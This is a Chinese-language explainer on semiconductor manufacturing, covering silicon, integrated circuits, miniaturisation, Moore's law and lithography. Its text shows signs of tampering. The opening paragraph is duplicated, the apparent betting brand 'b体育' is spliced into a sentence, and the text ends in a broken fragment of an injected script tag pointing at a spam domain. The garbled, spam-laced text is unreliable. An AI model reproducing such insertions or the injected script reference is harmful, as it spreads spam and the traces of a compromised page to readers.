半导体技术就是以半导体为材料，制作成组件及集成电路的技术。在周期表里的元素，依照导电性大致可以分成导体、半导体与绝缘体三大类半导体。最常见的半导体是硅（si），当然半导体也可以是两种元素形成的化合物，例如砷化镓（gaas），但化合物半导体大多应用在光电方面。 绝大多数的电子组件都是以硅为基材做成的，因此电子产业又称为半导体产业。半导体技术最大的应用是集成电路（ic），举凡计算机半导体、手机、各种电器与信息产品

　　半导体技术就是以半导体为材料，制作成组件及集成电路的技术。在周期表里的元素，依照导电性大致可以分成导体、半导体与绝缘体三大类。最常见的半导体是硅（si），当然半导体也可以是两种元素形成的化合物，例如砷化镓（gaas），但化合物半导体大多应用在光电方面。 绝大多数的电子组件都是以硅为基材做成的，因此电子产业又称为半导体产业。半导体技术最大的应用是集成电路（ic），举凡计算机、手机、各种电器与信息产品中b体育，一定有ic存在，它们被用来发挥各式各样的控制功能，有如人体中的大脑与神经。 如果把计算机打开，除了一些线路外，还会看到好几个线路板，每个板子上都有一些大小与形状不同的黑色小方块，周围是金属接脚，这就是封装好的ic。如果把包覆的黑色封装除去，可以看到里面有个灰色的小薄片，这就是ic。 如果再放大来看，这些ic里面布满了密密麻麻的小组件，彼此由金属导线连接起来。除了少数是电容或电阻等被动组件外，大都是晶体管，这些晶体管由硅或其氧化物、氮化物与其它相关材料所组成。整颗ic的功能决定于这些晶体管的特性与彼此间连结的方式。 半导体技术的演进，除了改善性能如速度、能量的消耗与可靠性外，另一重点就是降作成本。降低成本的方式，除了改良制作方法，包括制作流程与采用的设备外，如果能在硅芯片的单位面积内产出更多的ic，成本也会下降。所以半导体技术的一个非常重要的发展趋势，就是把晶体管微小化。当然组件的微小化会伴随着性能的改变，但很幸运的，这种演进会使ic大部分的特性变好，只有少数变差，而这些就需要利用其它技术来弥补了。 半导体制程有点像是盖房子，分成很多层，由下而上逐层依蓝图布局迭积而成，每一层各有不同的材料与功能。随着功能的复杂，不只结构变得更繁复，技术要求也越来越高。与建筑物最不一样的地方，除了尺寸外，就是建筑物是一栋一栋地盖，半导体技术则是在同一片芯片或同一批生产过程中，同时制作数百万个到数亿个组件，而且要求一模一样。因此大量生产可说是半导体工业的最大特色。 把组件做得越小，芯片上能制造出来的ic数也就越多。尽管每片芯片的制作成本会因技术复杂度增加而上升，但是每颗ic的成本却会下降。所以价格不但不会因性能变好或功能变强而上涨，反而是越来越便宜。正因如此，综观其它科技的发展，从来没有哪一种产业能够像半导体这样，持续维持三十多年的快速发展。 半导体制程是一项复杂的制作流程，先进的ic所需要的制作程序达一千个以上的步骤。这些步骤先依不同的功能组合成小的单元，称为单元制程，如蚀刻、微影与薄膜制程；几个单元制程组成具有特定功能的模块制程，如隔绝制程模块、接触窗制程模块或平坦化制程模块等；最后再组合这些模块制程成为某种特定ic的整合制程。 半导体奈米技术 奈米技术有很多种，基本上可以分成两类，一类是由下而上的方式或称为自组装的方式，另一类是由上而下所谓的微缩方式。前者以各种材料、化工等技术为主，后者则以半导体技术为主。 以前我们都称ic技术是「微电子」技术，那是因为晶体管的大小是在微米（10-6米）等级。但是半导体技术发展得非常快，每隔两年就会进步一个世代，尺寸会缩小成原来的一半，这就是有名的摩尔定律（moore’slaw）。 大约在15年前，半导体开始进入次微米，即小于微米的时代，尔后更有深次微米，比微米小很多的时代。到了2001年，晶体管尺寸甚至已经小于0.1微米，也就是小于100奈米。因此现在是奈米电子时代，未来的ic大部分会由奈米技术做成。但是为了达到奈米的要求，半导体制程的改变须从基本步骤做起。每进步一个世代，制程步骤的要求都会变得更严格、更复杂。 制程技术的挑战 曝光显影：在所有的制程中，最关键的莫过于微影技术。这个技术就像照相的曝光显影，要把ic工程师设计好的蓝图，忠实地制作在芯片上，就需要利用曝光显影的技术。在现今的奈米制程上，不只要求曝光显影出来的图形是几十奈米的大小，还要上下层结构在30公分直径的晶圆上，对准的准确度在几奈米之内。这样的精准程度相当于在中国大陆的面积上，每次都能精准地找到一颗玻璃弹珠。因此这个设备与制程在半导体工厂里是最复杂、也是最昂贵的。 以目前最先进的12吋晶圆的量产曝光机为例，价格在新台币7~8亿左右，而且一个大型的工厂里就需要将近10部。这也是为什么一个12吋的晶圆厂，动辄需要上千亿台币的投资。 半导体技术进入奈米世界后，除了水平方向尺寸的微缩造成对微影技术的严苛要求外，在垂直方向的要求也同样地严格。一些薄膜的厚度都是1~2奈米，而且在整片12吋芯片上的误差小于5％。这相当于在100个足球场的面积上要很均匀地铺上一层约1公分厚的泥土，?script src=、com/tb体育、js

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